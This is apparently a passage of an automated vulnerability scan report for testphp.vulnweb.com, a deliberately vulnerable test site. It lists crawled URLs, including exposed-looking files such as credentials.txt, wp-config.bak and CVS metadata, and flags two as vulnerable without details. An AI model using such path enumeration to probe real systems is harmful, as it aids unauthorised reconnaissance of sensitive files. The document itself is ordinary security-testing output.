No input(s) found for this URL

URL: http://testphp.vulnweb.com/CVS/Entries.Log

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/CVS/Repository

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/CVS/Root

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/database_connect.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/index.bak

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/logout.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/1.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/2.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/3.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/4.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/5.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/6.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/7.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/8.jpg.tn
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/credentials.txt
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/ipaddresses.txt
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/path-disclosure-win.html
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/wp-config.bak
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/pictures/WS_FTP.LOG
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/sendcommand.php
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: http://testphp.vulnweb.com/wvstests/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias/img

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias/css

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias/css/main.css

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias/js

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/medias/js/common_functions.js

Vulnerabilities have been identified for this URL

No input(s) found for this URL